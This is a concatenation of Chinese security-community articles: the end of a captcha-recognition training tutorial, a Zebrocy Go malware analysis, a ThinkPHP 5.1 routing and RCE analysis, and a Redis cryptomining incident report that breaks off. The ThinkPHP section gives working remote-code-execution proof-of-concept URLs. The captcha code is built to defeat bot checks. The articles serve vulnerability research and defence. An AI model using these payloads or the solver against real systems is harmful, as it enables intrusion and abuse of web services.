batch_x,batch_y = next(captcha.gen_captcha(64))
_,loss = sess.run([train_step,cross_entropy],feed_dict={x: batch_x, y_: batch_y, keep_prob: 0.75})
print ('step:%d,loss:%f' % (step,loss))
if step % 100 == 0:
batch_x_test,batch_y_test = next(captcha.gen_captcha(100))
acc = sess.run(accuracy, feed_dict={x: batch_x_test, y_: batch_y_test, keep_prob: 1.})
print ('###############################################step:%d,accuracy:%f' % (step,acc))
if acc > 0.99:
saver.save(sess,"capcha_model.ckpt")
break
step += 1
保存为 `train_captcha.py`
执行 `python train_captcha.py`
* 其中 39行号 acc 代表准确率 此时需要准确率大于99%才保存
各位执行的时候可以设置成 0.01 先实验一下效果
等训练完成后 你会看得到 目录下保存了 这几个文件
### 0x004 验证
验证比较简单 只要加载刚才保存的模型
然后 生成一张图识别即可 。
!/usr/bin/python
from PIL import Image, ImageFilter
import tensorflow as tf
import numpy as np
import string
import sys
import generate_captcha
import captcha_model
if __name__ == '__main__':
captcha = generate_captcha.generateCaptcha()
width,height,char_num,characters,classes = captcha.get_parameter()
gray_image = Image.open(sys.argv[1]).convert('L')
img = np.array(gray_image.getdata())
test_x = np.reshape(img,[height,width,1])/255.0
x = tf.placeholder(tf.float32, [None, height,width,1])
keep_prob = tf.placeholder(tf.float32)
model = captcha_model.captchaModel(width,height,char_num,classes)
y_conv = model.create_model(x,keep_prob)
predict = tf.argmax(tf.reshape(y_conv, [-1,char_num, classes]),2)
init_op = tf.global_variables_initializer()
saver = tf.train.Saver()
gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=0.95)
with tf.Session(config=tf.ConfigProto(log_device_placement=False,gpu_options=gpu_options)) as sess:
sess.run(init_op)
saver.restore(sess, "capcha_model.ckpt")
pre_list = sess.run(predict,feed_dict={x: [test_x], keep_prob: 1})
for i in pre_list:
s = ''
for j in i:
s += characters[j]
print s
保存为 `predict_captcha.py`
执行 `python predict_captcha.py Mlzv.jpg`
即可
## 0x005 总结
以上便是简单的一个验证码识别模型的生成。
下一篇将利用本次生成模型对一些常见的开源系统以及一些线上系统进行验证码的识别测试 | 社区文章 |
**作者：Yenn_
原文链接: <https://0xdf1001f.github.io/2020/12/14/Golang-Malware-Reverse/> **
# 基本信息
样本是一个.VHD的文件，距第一次上传VT已经好几天了，杀毒引擎查杀率很低，估计是.VHD虚拟磁盘的原因
[
样本已经好几天了，为什么分析的这么慢
因为我周末忙着和基努李维斯把夜之城烧成灰
[
VHD,微软 Microsoft Virtual Hard Disk
format（虚拟磁盘）格式，既然是磁盘，就需要挂载在系统，在Win10下可以直接双击运行，在Win7，需要打开磁盘管理器添加.
Win+R输入diskmgmt.msc，在系统中附加VHD
[
[
完成后打开，得到两个文件，一个是正常的pdf文件，与中国医药集团相关，中国医药集团一直参与研制新冠疫情疫苗，另一个文件是伪装为Office
Word文件的exe程序，由GO语言编写，去掉了Go语言的符号
[
[
# 样本分析
可以看见样本的原始文件名为“DeviceUxRes.dll”，样本为Zebrocy的Go版本
[
DIE 1.0没查出语言，不过从样本内字符串来看，基本为Golang了
试了一下,DIE 3.0可直接识别出GO(1.10)版本
[
样本在Build过程中删除了Go符号，IDA一个函数都不能识别，DIE识别出了Go版本，用IDA插件IDAGolangHelpe可以基本识别出函数
对比：
[
[
样本内字符串都被Gobfuscate混淆加密，在每次使用的字符串的时候，通过函数XOR计算解密出字符串
样本将自身，将自身重命名为.doc文件，并且Copy到%APPDATA%\LigoBar\目录下更名为ndfapi.exe，设置计划任务启动移动后的程序，每3分钟启动一次
[
样本通过IsDebugPresent()函数反调试，如果检测到调试状态则进入循环的sleep状态，将获取的信息发往C2，并从C2读取返回保存到本地并执行
[
[
这次的样本中没有以往Zebrocy木马的搜集大量个人信息回传，上传屏幕截图并从C2获取后续内容.
* * * | 社区文章 |
**作者：天融信阿尔法实验室
公众号：<https://mp.weixin.qq.com/s/kwp5uxom7Amrj6S_-g8r4Q>**
### 前言
在前几个月，Thinkphp连续爆发了多个严重漏洞。由于框架应用的广泛性，漏洞影响非常大。为了之后更好地防御和应对此框架漏洞，阿尔法实验室对Thinkphp框架进行了详细地分析，并在此分享给大家共同学习。
本篇文章将从框架的流程讲起，让大家对Thinkphp有个大概的认识，接着讲述一些关于漏洞的相关知识，帮助大家在分析漏洞时能更好地理解漏洞原理，最后结合一个比较好的RCE漏洞(超链接)用一种反推的方式去进行分析，让大家将漏洞和框架知识相融合。体现一个从学习框架到熟悉漏洞原理的过程。
### 一、框架介绍
ThinkPHP是一个免费开源的，快速、简单的面向对象的轻量级PHP开发框架，是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则，在保持出色的性能和至简的代码的同时，也注重易用性。
### 二、环境搭建
#### 2.1 Thinkphp环境搭建
安装环境：Mac Os MAMP集成软件
PHP版本：5.6.10
Thinkphp版本：5.1.20
thinkphp安装包获取（Composer方式）：
首先需要安装composer。
curl -sS https://getcomposer.org/installer | php
下载后，检查Composer是否能正常工作，只需要通过 php 来执行 PHAR：
若返回信息如上图，则证明成功。
然后将composer.phar 移动到bin目录下并改名为composer
mv composer.phar /usr/local/bin/composer
Composer安装好之后，打开命令行，切换到你的web根目录下面并执行下面的命令：
composer create-project topthink/think=5.1.20 tp5.1.20 –prefer-dist
若需要其他版本，可通过修改版本号下载。
验证是否可以正常运行，在浏览器中输入地址：
http://localhost/tp5.1.20/public/
如果出现上图所示，那么恭喜你安装成功。
#### 2.2 IDE环境搭建及xdebug配置
PHP IDE工具有很多，我推荐PhpStorm，因为它支持所有PHP语言功能， 提供最优秀的代码补全、重构、实时错误预防、快速导航功能。
PhpStorm下载地址：<https://www.jetbrains.com/phpstorm/>
Xdebug
Xdebug是一个开放源代码的PHP程序调试器，可以用来跟踪，调试和分析PHP程序的运行状况。在调试分析代码时，xdebug十分好用。
下面我们说一下xdebug怎么配置（MAMP+PHPstrom）
1.下载安装xdebug扩展(MAMP自带 ）。
2.打开php.ini文件，添加xdebug相关配置
[xdebug]
xdebug.remote_enable = 1
xdebug.remote_handler = dbgp
xdebug.remote_host = 127.0.0.1
xdebug.remote_port = 9000 #端口号可以修改，避免冲突
xdebug.idekey = PHPSTROM
然后重启服务器。
3.客户端phpstorm配置
3.1点击左上角phpstorm，选择preferences
3.2 Languages & Frameworks -> PHP，选择PHP版本号，选择PHP执行文件。
在选择PHP执行文件的时候，会显示 “Debugger:Xdebug”，如果没有的话，点击open打开配置文件。
将注释去掉即可。
3.3配置php下的Debug
Port和配置文件中的xdebug.remote_port要一致。
3.4配置Debug下的DBGp proxy
填写的内容和上面php.ini内的相对应。
3.5配置servers
点击+号添加
3.6配置debug模式
在Server下拉框中，选择我们在第4步设置的Server服务名称，Browser选择你要使用的浏览器。所有配置到此结束。
4.xdebug使用
开启xdeubg监听
下一个断点，然后访问URL，成功在断点处停下。
### 三、框架流程浅析
我们先看入口文件index.php，入口文件非常简洁，只有三行代码。
可以看到这里首先定义了一下命名空间，然后加载一些基础文件后，就开始执行应用。
第二行引入base.php基础文件，加载了Loader类，然后注册了一些机制–如自动加载功能、错误异常的机制、日志接口、注册类库别名。
这些机制中比较重要的一个是自动加载功能，系统会调用
Loader::register()方法注册自动加载，在这一步完成后，所有符合规范的类库（包括Composer依赖加载的第三方类库）都将自动加载。下面我详细介绍下这个自动加载功能。
首先需要注册自动加载功能，注册主要由以下几部分组成:
1. 注册系统的自动加载方法 \think\Loader::autoload
2. 注册系统命名空间定义
3. 加载类库映射文件（如果存在）
4. 如果存在Composer安装，则注册Composer自动加载
5. 注册extend扩展目录
其中2.3.4.5是为自动加载时查找文件路径的时候做准备，提前将一些规则(类库映射、PSR-4、PSR-0)配置好。
然后再说下自动加载流程，看看程序是如何进行自动加载的？
spl_autoload_register()是个自动加载函数，当我们实例化一个未定义的类时就会触发此函数，然后再触发指定的方法，函数第一个参数就代表要触发的方法。
可以看到这里指定了think\Loader::autoload()这个方法。
首先会判断要实例化的`$class`类是否在之前注册的类库别名`$classAlias`中，如果在就返回,不在就进入findFile()方法查找文件，
这里将用多种方式进行查找，以类库映射、PSR-4自动加载检测、PSR-0自动加载检测的顺序去查找(这些规则方式都是之前注册自动加载时配置好的)，最后会返回类文件的路径，然后include包含，进而成功加载并定义该类。
这就是自动加载方法，按需自动加载类，不需要一一手动加载。在面向对象中这种方法经常使用，可以避免书写过多的引用文件，同时也使整个系统更加灵活。
在加载完这些基础功能之后，程序就会开始执行应用，它首先会通过调用Container类里的静态方法get()去实例化app类，接着去调用app类中的run()方法。
在run()方法中，包含了应用执行的整个流程。
1. `$this->initialize()`，首先会初始化一些应用。例如：加载配置文件、设置路径环境变量和注册应用命名空间等等。
2. `this->hook->listen(‘app_init’);` 监听app_init应用初始化标签位。Thinkphp中有很多标签位置，也可以把这些标签位置称为钩子，在每个钩子处我们可以配置行为定义，通俗点讲，就是你可以往钩子里添加自己的业务逻辑，当程序执行到某些钩子位置时将自动触发你的业务逻辑。
3. 模块\入口绑定
进行一些绑定操作，这个需要配置才会执行。默认情况下，这两个判断条件均为false。
4. `$this->hook->listen(‘app_dispatch’);`监听app_dispatch应用调度标签位。和2中的标签位同理，所有标签位作用都是一样的，都是定义一些行为，只不过位置不同，定义的一些行为的作用也有所区别。
5. `$dispatch = $this->routeCheck()->init();` 开始路由检测，检测的同时会对路由进行解析，利用array_shift函数一一获取当前请求的相关信息（模块、控制器、操作等）。
6. `$this->request->dispatch($dispatch);`记录当前的调度信息,保存到request对象中。
7. 记录路由和请求信息
如果配置开启了debug模式，会把当前的路由和请求信息记录到日志中。
8. `$this->hook->listen(‘app_begin’);` 监听app_begin(应用开始标签位)。
9. 根据获取的调度信息执行路由调度
期间会调用Dispatch类中的exec()方法对获取到的调度信息进行路由调度并最终获取到输出数据$response。
然后将`$response`返回，最后调用Response类中send()方法，发送数据到客户端，将数据输出到浏览器页面上。
在应用的数据响应输出之后，系统会进行日志保存写入操作，并最终结束程序运行。
### 四、漏洞预备知识
这部分主要讲解与漏洞相关的知识点，有助于大家更好地理解漏洞形成原因。
#### 4.1命名空间特性
ThinkPHP5.1遵循PSR-4自动加载规范，只需要给类库正确定义所在的命名空间，并且命名空间的路径与类库文件的目录一致，那么就可以实现类的自动加载。
例如，\think\cache\driver\File类的定义为：
namespace think\cache\driver;
class File
{
}
如果我们实例化该类的话，应该是：
$class = new \think\cache\driver\File();
系统会自动加载该类对应路径的类文件，其所在的路径是 thinkphp/library/think/cache/driver/File.php。
可是为什么路径是在thinkphp/library/think下呢？这就要涉及要另一个概念—根命名空间。
##### 4.1.1 根命名空间
根命名空间是一个关键的概念，以上面的\think\cache\driver\File类为例，think就是一个根命名空间，其对应的初始命名空间目录就是系统的类库目录（thinkphp/library/think），我们可以简单的理解一个根命名空间对应了一个类库包。
系统内置的几个根命名空间（类库包）如下：
#### 4.2 URL访问
在没有定义路由的情况下典型的URL访问规则（PATHINFO模式）是：
http://serverName/index.php（或者其它应用入口文件）/模块/控制器/操作/[参数名/参数值...]
如果不支持PATHINFO的服务器可以使用兼容模式访问如下
http://serverName/index.php（或者其它应用入口文件）?s=/模块/控制器/操作/[参数名/参数值...]
什么是pathinfo模式?
我们都知道一般正常的访问应该是
http://serverName/index.php?m=module&c=controller&a=action&var1=vaule1&var2=vaule2
而pathinfo模式是这样的
http://serverName/index.php/module/controller/action/var1/vaule1/var2/value2
在php中有一个全局变量`$_SERVER['PATH_INFO']`，我们可以通过它来获取index.php后面的内容。
什么是`$_SERVER['PATH_INFO']`?
官方是这样定义它的：包含由客户端提供的、跟在真实脚本名称之后并且在查询语句（query string）之前的路径信息。
什么意思呢？简单来讲就是获得访问的文件和查询?之间的内容。
强调一点，在通过`$_SERVER['PATH_INFO']`获取值时，系统会把’\'自动转换为’/'（这个特性我在Mac
Os(MAMP)、Windows(phpstudy)、Linux(php+apache)环境及php5.x、7.x中进行了测试，都会自动转换，所以系统及版本之间应该不会有所差异）。
下面再分别介绍下入口文件、模块、控制器、操作、参数名/参数值。
1.入口文件
文件地址：public\index.php
作用：负责处理请求
2.模块（以前台为例）
模块地址：application\index
作用：网站前台的相关部分
3.控制器
控制器目录：application\index\controller
作用：书写业务逻辑
1. 操作（方法）
在控制器中定义的方法
1. 参数名/参数值
方法中的参数及参数值
例如我们要访问index模块下的Test.php控制器文件中的hello()方法。
那么可以输入http://serverName/index.php/index(模块)/Test(控制器)/hello(方法)/name(参数名)/world(参数值)
这样就访问到指定文件了。
另外再讲一下Thinkphp的几种传参方式及差别。
PATHINFO: index.php/index/Test/hello/name/world 只能以这种方式传参。
兼容模式:index.php?s=index/Test/hello/name/world
index.php?s=index/Test/hello&name=world
当我们有两个变量`$a`、`$b`时，在兼容模式下还可以将两者结合传参：
index.php?s=index/Test/hello/a/1&b=2
这时，我们知道了URL访问规则，当然也要了解下程序是怎样对URL解析处理，最后将结果输出到页面上的。
#### 4.3 URL路由解析动态调试分析
URL路由解析及页面输出工作可以分为5部分。
1. 路由定义：完成路由规则的定义和参数设置
2. 路由检测：检查当前的URL请求是否有匹配的路由
3. 路由解析：解析当前路由实际对应的操作。
4. 路由调度：执行路由解析的结果调度。
5. 响应输出及应用结束：将路由调度的结果数据输出至页面并结束程序运行。
我们通过动态调试来分析，这样能清楚明了的看到程序处理的整个流程，由于在Thinkphp中，配置不同其运行流程也会不同，所以我们采用默认配置来进行分析，并且由于在程序运行过程中会出现很多与之无关的流程，我也会将其略过。
##### 4.3.1 路由定义
通过配置route目录下的文件对路由进行定义，这里我们采取默认的路由定义，就是不做任何路由映射。
##### 4.3.2 路由检测
这部分内容主要是对当前的URL请求进行路由匹配。在路由匹配前先会获取URL中的pathinfo，然后再进行匹配，但如果没有定义路由，则会把当前pathinfo当作默认路由。
首先我们设置好IDE环境，并在路由检测功能处下断点。
然后我们请求上面提到的Test.php文件。
http://127.0.0.1/tp5.1.20/public/index.php/index/test/hello/name/world
我这里是以pathinfo模式请求的，但是其实以不同的方式在请求时，程序处理过程是有稍稍不同的，主要是在获取参数时不同。在后面的分析中，我会进行说明。
F7跟进routeCheck()方法
route_check_cache路由缓存默认是不开启的。
然后我们进入path()方法
继续跟进pathinfo()方法
这里会根据不同的请求方式获取当前URL的pathinfo信息，因为我们的请求方式是pathinfo,所以会调用`$this->server(‘PATH_INFO’)`去获取，获取之后会使用ltrim()函数对`$pathinfo`进行处理去掉左侧的’/’符号。Ps:如果以兼容模式请求，则会用`$_GET`方法获取。
然后返回赋值给`$path`并将该值带入check()方法对URL路由进行检测
这里主要是对我们定义的路由规则进行匹配，但是我们是以默认配置来运行程序的，没有定义路由规则，所以跳过中间对于路由检测匹配的过程，直接来看默认路由解析过程，使用默认路由对其进行解析。
##### 4.3.3 路由解析
接下来将会对路由地址进行了解析分割、验证、格式处理及赋值进而获取到相应的模块、控制器、操作名。
new UrlDispatch()
对UrlDispatch（实际上是think\route\dispatch\Url这个类）实例化，因为Url没有构造函数，所以会直接跳到它的父类Dispatch的构造函数，把一些信息传递（包括路由）给Url类对象，这么做的目的是为了后面在调用Url类中方法时方便调用其值。
赋值完成后回到routeCheck()方法，将实例化后的Url对象赋给`$dispatch`并return返回。
返回后会调用Url类中的init()方法，将`$dispatch`对象中的得到`$this->dispatch(路由)`传入parseUrl()方法中，开始解析URL路由地址。
跟进parseUrl()方法
这里首先会进入parseUrlPath()方法，将路由进行解析分割。
使用”/”进行分割，拿到 [模块/控制器/操作/参数/参数值]。
紧接着使用array_shift()函数挨个从`$path`数组中取值对模块、控制器、操作、参数/参数值进行赋值。
接着将参数/参数值保存在了Request类中的Route变量中，并进行路由封装将赋值后的`$module`、`$controller`、`$action`存到route数组中，然后将`$route`返回赋值给`$result`变量。
`new Module($this->request, $this->rule, $result)`，实例化Module类。
在Module类中也没有构造方法，会直接调用Dispatch父类的构造方法。
然后将传入的值都赋值给Module类对象本身`$this`。此时，封装好的路由`$result`赋值给了`$this->dispatch`，这么做的目的同样是为了后面在调用Module类中方法时方便调用其值。
实例化赋值后会调用Module类中的init()方法，对封装后的路由(模块、控制器、操作)进行验证及格式处理。
`$result =
$this->dispatch`，首先将封装好的路由`$this->dispatch`数组赋给`$result`，接着会从`$result`数组中获取到了模块`$module`的值并对模块进行大小写转换和html标签处理，接下来会对模块值进行检测是否合规，若不合规，则会直接HttpException报错并结束程序运行。检测合格之后，会再从`$result`中获取控制器、操作名并处理，同时会将处理后值再次赋值给`$this`(Module类对象)去替换之前的值。
Ps：从`$result`中获取值时，程序采用了三元运算符进行判断，如果相关值为空会一律采用默认的值index。这就是为什么我们输入http://127.0.0.1/tp5.1.20/public/index.php在不指定模块、控制器、操作值时会跳到程序默认的index模块的index控制器的index操作中去。
此时调度信息(模块、控制器、操作)都已经保存至Module类对象中，在之后的路由调度工作中会从中直接取出来用。
然后返回Module类对象`$this`，回到最开始的App类，赋值给`$dispatch`。
至此，路由解析工作结束，到此我们获得了模块、控制器、操作，这些值将用于接下来的路由调度。
**接下来在路由调度前，需要另外说明一些东西**
：路由解析完成后，如果debug配置为True，则会对路由和请求信息进行记录，这里有个很重要的点param()方法, 该方法的作用是获取变量参数。
在这里，在确定了请求方式(GET)后，会将请求的参数进行合并，分别从`$_GET`、`$_POST`(这里为空)和Request类的route变量中进行获取。然后存入Request类的param变量中，接着会对其进行过滤，但是由于没有指定过滤器，所以这里并不会进行过滤操作。
Ps：这里解释下为什么要分别从`$_GET`中和Request类的route变量中进行获取合并。上面我们说过传参有三种方法。
1. index/Test/hello/name/world
2. index/Test/hello&name=world
3. index/Test/hello/a/1&b=2
当我们如果选择1进行请求时，在之前的路由检测和解析时，会将参数/参数值存入Request类中的route变量中。
而当我们如果选择2进行请求时，程序会将&前面的值剔除，留下&后面的参数/参数值，保存到`$_GET`中。
并且因为Thinkphp很灵活，我们还可以将这两种方式结合利用，如第3个。
这就是上面所说的在请求方式不同时，程序在处理传参时也会不同。
Ps：在debug未开启时,参数并不会获得，只是保存在route变量或`$_GET[]`中，不过没关系，因为在后面路由调度时还会调用一次param()方法。
继续调试，开始路由调度工作。
##### 4.3.4 路由调度
这一部分将会对路由解析得到的结果(模块、控制器、操作)进行调度，得到数据结果。
这里首先创建了一个闭包函数，并作为参数传入了add方法()中。
将闭包函数注册为中间件，然后存入了`$this->queue[‘route’]`数组中。
然后会返回到App类， `$response =
$this->middleware->dispatch($this->request);`执行middleware类中的dispatch()方法，开始调度中间件。
使用`call_user_func()`回调`resolve()`方法，
使用`array_shift()`函数将中间件(闭包函数)赋值给了`$middleware`，最后赋值给了`$call`变量。
当程序运行至`call_user_func_array()`函数继续回调，这个`$call`参数是刚刚那个闭包函数，所以这时就会调用之前App类中的闭包函数。
中间件的作用官方介绍说主要是用于拦截或过滤应用的HTTP请求，并进行必要的业务处理。所以可以推测这里是为了调用闭包函数中的run()方法，进行路由调度业务。
然后在闭包函数内调用了Dispatch类中的run()方法，开始执行路由调度。
跟进exec()方法
可以看到，这里对我们要访问的控制器Test进行了实例化，我们来看下它的实例化过程。
将控制器类名`$name`和控制层`$layer`传入了parseModuleAndClass()方法，对模块和类名进行解析，获取类的命名空间路径。
在这里如果`$name`类中以反斜线\开始时就会直接将其作为类的命名空间路径。此时`$name`是test，明显不满足，所以会进入到else中，从request封装中获取模块的值`$module`，然后程序将模块`$module`、控制器类名`$name`、控制层`$layer`再传入parseClass()方法。
对`$name`进行了一些处理后赋值给`$class`，然后将`$this->namespace`、`$module`、`$layer`、`$path`、`$class`拼接在一起形成命名空间后返回。
到这我们就得到了控制器Test的命名空间路径，根据Thinkphp命名空间的特性，获取到命名空间路径就可以对其Test类进行加载。
F7继续调试，返回到了刚刚的controller()方法，开始加载Test类。
加载前，会先使用class_exists()函数检查Test类是否定义过，这时程序会调用自动加载功能去查找该类并加载。
加载后调用__get()方法内的make()方法去实例化Test类。
这里使用反射调用的方法对Test类进行了实例化。先用ReflectionClass创建了Test反射类，然后 `return
$reflect->newInstanceArgs($args);`
返回了Test类的实例化对象。期间顺便判断了类中是否定义了__make方法、获取了构造函数中的绑定参数。
然后将实例化对象赋值赋给`$object`变量，接着返回又赋给`$instance变`量。
继续往下看
这里又创建了一个闭包函数作为中间件，过程和上面一样，最后利用`call_user_func_array()`回调函数去调用了闭包函数。
在这个闭包函数内，主要做了4步。
1. 使用了is_callable()函数对操作方法和实例对象作了验证，验证操作方法是否能用进行调用。
2. new ReflectionMethod()创建了Test的反射类`$reflect`。
3. 紧接着由于url_param_type默认为0，所以会调用param()方法去请求变量，但是前面debug开启时已经获取到了并保存进了Request类对象中的param变量，所以此时只是从中将值取出来赋予`$var`变量。
4. 调用invokeReflectMethod()方法，并将Test实例化对象`$instance`、反射类`$reflect`、请求参数`$vars`传入。
这里调用了`bindParams()`方法对`$var`参数数组进行处理，获取了Test反射类的绑定参数，获取到后将`$args`传入`invokeArgs()`方法，进行反射执行。
然后程序就成功运行到了我们访问的文件(Test)。
运行之后返回数据结果，到这里路由调度的任务也就结束了，剩下的任务就是响应输出了，将得到数据结果输出到浏览器页面上。
##### 4.3.5 响应输出及应用结束
这一小节会对之前得到的数据结果进行响应输出并在输出之后进行扫尾工作结束应用程序运行。在响应输出之前首先会构建好响应对象，将相关输出的内容存进Response对象，然后调用Response::send()方法将最终的应用返回的数据输出到页面。
继续调试，来到autoResponse()方法，这个方法程序会来回调用两次，第一次主要是为了创建响应对象，第二次是进行验证。我们先来看第一次，
此时`$data`不是Response类的实例化对象，跳到了elseif分支中，调用Response类中的create()方法去获取响应输出的相关数据，构建Response对象。
执行`new static($data, $code, $header,
$options);`实例化自身Response类，调用`__construct()`构造方法。
可以看到这里将输出内容、页面的输出类型、响应状态码等数据都传递给了Response类对象，然后返回，回到刚才autoResponse()方法中
到此确认了具体的输出数据，其中包含了输出的内容、类型、状态码等。
上面主要做的就是构建响应对象，将要输出的数据全部封装到Response对象中，用于接下来的响应输出。
继续调试，会返回到之前Dispatch类中的run()方法中去，并将`$response`实例对象赋给`$data`。
紧接着会进行autoResponse()方法的第二次调用，同时将`$data`传入，进行验证。
这回`$data`是Response类的实例化对象，所以将`$data`赋给了`$response`后返回。
然后就开始调用Response类中send()方法，向浏览器页面输送数据。
这里依次向浏览器发送了状态码、header头信息以及得到的内容结果。
输出完毕后，跳到了appShutdown()方法，保存日志并结束了整个程序运行。
#### 4.4 流程总结
上面通过动态调试一步一步地对URL解析的过程进行了分析，现在我们来简单总结下其过程：
首先发起请求->开始路由检测->获取pathinfo信息->路由匹配->开始路由解析->获得模块、控制器、操作方法调度信息->开始路由调度->解析模块和类名->组建命名空间>查找并加载类->实例化控制器并调用操作方法->构建响应对象->响应输出->日志保存->程序运行结束
### 五、漏洞分析及POC构建
相信大家在看了上述内容后，对Thinkphp这个框架应该有所了解了。接下来，我们结合最近一个思路比较好的RCE漏洞再来看下。为了更好地理解漏洞，我通过以POC构造为导引的方式对漏洞进行了分析，同时以下内容也体现了我在分析漏洞时的想法及思路。
在/thinkphp/library/think/Container.php 中340行：
在Container类中有个`call_user_func_array()`回调函数，经常做代码审计的小伙伴都知道，这个函数非常危险，只要能控制`$function`和`$args`，就能造成代码执行漏洞。
如何利用此函数？
通过上面的URL路由分析，我们知道Thinkphp可由外界直接控制模块名、类名和其中的方法名以及参数/参数值，那么我们是不是可以将程序运行的方向引导至这里来。
如何引导呢？
要调用类肯定需要先将类实例化，类的实例化首先需要获取到模块、类名，然后解析模块和类名去组成命名空间，再根据命名空间的特性去自动加载类，然后才会实例化类和调用类中的方法。
我们先对比之前正常的URL试着构建下POC。
http://127.0.0.1/tp5.1.20/public/index.php/index/test/hello/name/world
http://127.0.0.1/tp5.1.20/public/index.php/模块?/Container/invokefunction
构建过程中，会发现几个问题。
1. 模块应该指定什么，因为Container类并不在模块内。
2. 模块和类没有联系，那么组建的命名空间，程序如何才能加载到类。
先别着急，我们先从最开始的相关值获取来看看（获取到模块、类名），此过程对应上面第四大节中的4.3.3路由解析中。
app_multi_module为true，所以肯定进入if流程,获取了`$module`、`$bind`、`$available`的值。在红色框处如果不为true，则会直接报错结束运行，所以此处需要`$module`和`$available`都为True。而$available的值一开始就被定义为False，只有在后续的3个if条件中才会变为true。
来看下这3个if条件，在默认配置下，由于没有路由绑定，所以`$bind`为null。而empty_module默认模块也没有定义。所以第三个也不满足，那么只能寄托于第二个了。
在第二个中，1是判断`$module`是否在禁止访问模块的列表中，2是判断是否存在这个模块。
所以，这就要求我们在构造POC时，需要保证模块名必须真实存在并且不能在禁用列表中。在默认配置中，我们可以指定index默认模块，但是在实际过程中，index模块并不一定存在，所以就需要大家去猜测或暴力破解了，不过一般模块名一般都很容易猜解。
获取到模块、类名后，就是对其进行解析组成命名空间了。此过程对应上面第四大节中的4.3.4路由调度中。
这里首先对`$name`(类名)进行判断，当`$name`以反斜线\开始时会直接将其作为类的命名空间路径。看到这里然后回想一下之前的分析，我们会发现这种命名空间路径获取的方式和之前获取的方式不一样(之前是进入了parseClass方法对模块、类名等进行拼接)，而且这种获取是不需要和模块有联系的，所以我们想是不是可以直接将类名以命名空间的形式传入，然后再以命名空间的特性去自动加载类？同时这样也脱离了模块这个条件的束缚。
那我们现在再试着构造下POC：
http://127.0.0.1/tp5.1.20/public/index.php/index/think\Container/invokefunction
剩下就是指定`$function`参数和`$var`参数值了,根据传参特点，我们来构造下。
http://127.0.0.1/tp5.1.20/public/index.php/index/think\Container/invokefunction/function/call_user_func_array/vars[0]/phpinfo/vars[1][]/1
构造出来应该是这样的，但是由于在pathinfo模式下，`$_SERVER['PATH_INFO']`会自动将URL中的“\”替换为“/”，导致破坏掉命名空间格式，所以我们采用兼容模式。
默认配置中，`var_pathinfo`默认为s，所以我们可以用`$_GET[‘s’]`来传递路由信息。
http://127.0.0.1/tp5.1.20/public/index.php?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
另外由于App类继承于Container类，所以POC也可以写成：
http://127.0.0.1/tp5.1.20/public/index.php?s=index/think\App/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
**漏洞利用扩大化**
1. 以反斜线\开始时直接将其作为类的命名空间路径。
2. thinkphp命名空间自动加载类的特性。
由于这两点，就会造成我们可以调用thinkphp框架中的任意类。所以在框架中，如果其他类方法中也有类似于invokefunction()方法中这样的危险函数，我们就可以随意利用。
例如：Request类中的input方法中就有一样的危险函数。
跟入filterValue()方法
POC:
http://127.0.0.1/tp5.1.20/public/index.php?s=index/\think\Request/input&filter=phpinfo&data=1
### 六、结语
写这篇文章的其中一个目的是想让大家知道，通过框架分析，我们不仅可以在分析漏洞时变得更加容易，同时也可以对漏洞原理有一个更深的理解。所以，当我们在分析一个漏洞时，如果很吃力或者总有点小地方想不通的时候，不如从它的框架着手，一步一步来，或许在你学习完后就会豁然开朗，亦或者在过程中你就会明白为什么。
* * * | 社区文章 |
作者：hanochzhang、 jaryzhou @云鼎实验室
公众号：[云鼎实验室](https://mp.weixin.qq.com/s/guCgsp3rgnL-KpPYBof7ZQ "云鼎实验室")
### 一、事件背景
近日，腾讯安全云鼎实验室发现一起针对云上服务器利用 Redis
未授权访问漏洞的入侵挖矿事件，和以往研究发现的入侵挖矿行为相比，此次入侵行为更具有针对性，主要瞄准大型云服务商提供的服务器，并且入侵手法更高级，具备扫描感染、进程隐藏等多种能力。
### 二、入侵分析
攻击者利用 Redis 未授权访问漏洞入侵服务器，写入 crontab 任务下载恶意脚本并植入挖矿程序。仔细分析此次入侵事件，有以下特点：
* 恶意脚本存放在 `hxxps://pastebin.com` 站点，下载链接频繁改变，方便隐藏，增加拦截成本；
* 通过受害者服务器感染更多有相同漏洞的外网服务器，使得难以追踪真实攻击源；
* 从 ident.me 站点获取要感染的 IP 地址，多是大型云服务提供商的服务器地址；
* 采用对抗手段，卸载安全产品，极有可能是针对云上服务器的入侵挖矿行为；
* 在 root 和 ubuntu 用户目录下写 SSH 公钥，并设置 iptables 禁止外网访问 Redis，后续可通过 SSH 后门入侵；
* 受害服务器访问 `hxxps://2no.co/11Grb`，记录受害者 IP 地址；
* 利用 Linux 动态链接库加载机制隐藏进程，使用 top 等命令不能发现异常进程，增加排查难度；
* 留存在系统上的恶意脚本功能不全，仅仅守护挖矿进程，隐藏真实的攻击手法；
* 挖矿程序经过 UPX 加壳处理，增加检测难度。
恶意脚本中定义的函数如下图
由于脚本内容过多，下面先分析脚本的核心部分，再对部分函数进行细致分析。
#### 1\. 恶意脚本的核心程序如下：
恶意脚本首先访问 `hxxps://pastebin.com/raw/SGM25Vs3`,
返回内容为noupdate或update；根据返回内容执行不同的流程，返回内容为update则调用 echocron 函数更新 crontab
任务，否则运行一系列函数下载挖矿程序、Redis 扫描等程序；最后访问 `hxxps://2no.co/11Grb` 记录受害者 IP，并且在机器的
root 和 ubuntu 用户目录下写入 SSH 公钥，后续的入侵数据也提取到攻击者 SSH 访问的 IP
地址为103.87.9.40，属于3A网络运营商(cnaaa.com)。
#### 2\. 恶意脚本中的部分函数：
* tables 函数
tables 函数设置 iptables 规则，禁止外网访问 Redis 6379端口，运行本地访问6379端口。生成 `/tmp/.tables`
文件，作为 iptables 规则设置的标志。
* uninstall 函数
uninstall 函数卸载安全产品，生成 `/tmp/.uninstall` 文件作为卸载成功的标志。
* python 函数
python 函数执行一段 Python 代码，生成 `/tmp/.tmpp` 作为执行成功的标志。代码比较简单，解码 base64 字符串并调用 exec
执行，base64 解码后内容如下：
从 `hxxps://pastebin.com/raw/eRkrSQfE` 获取 base64 编码的内容，解码后执行。解码内容如下：
Python 脚本扫描外网开放6379端口的服务器，利用 Redis 未授权访问漏洞写 crontab 任务。脚本从 ident.me 站点获取要扫描的
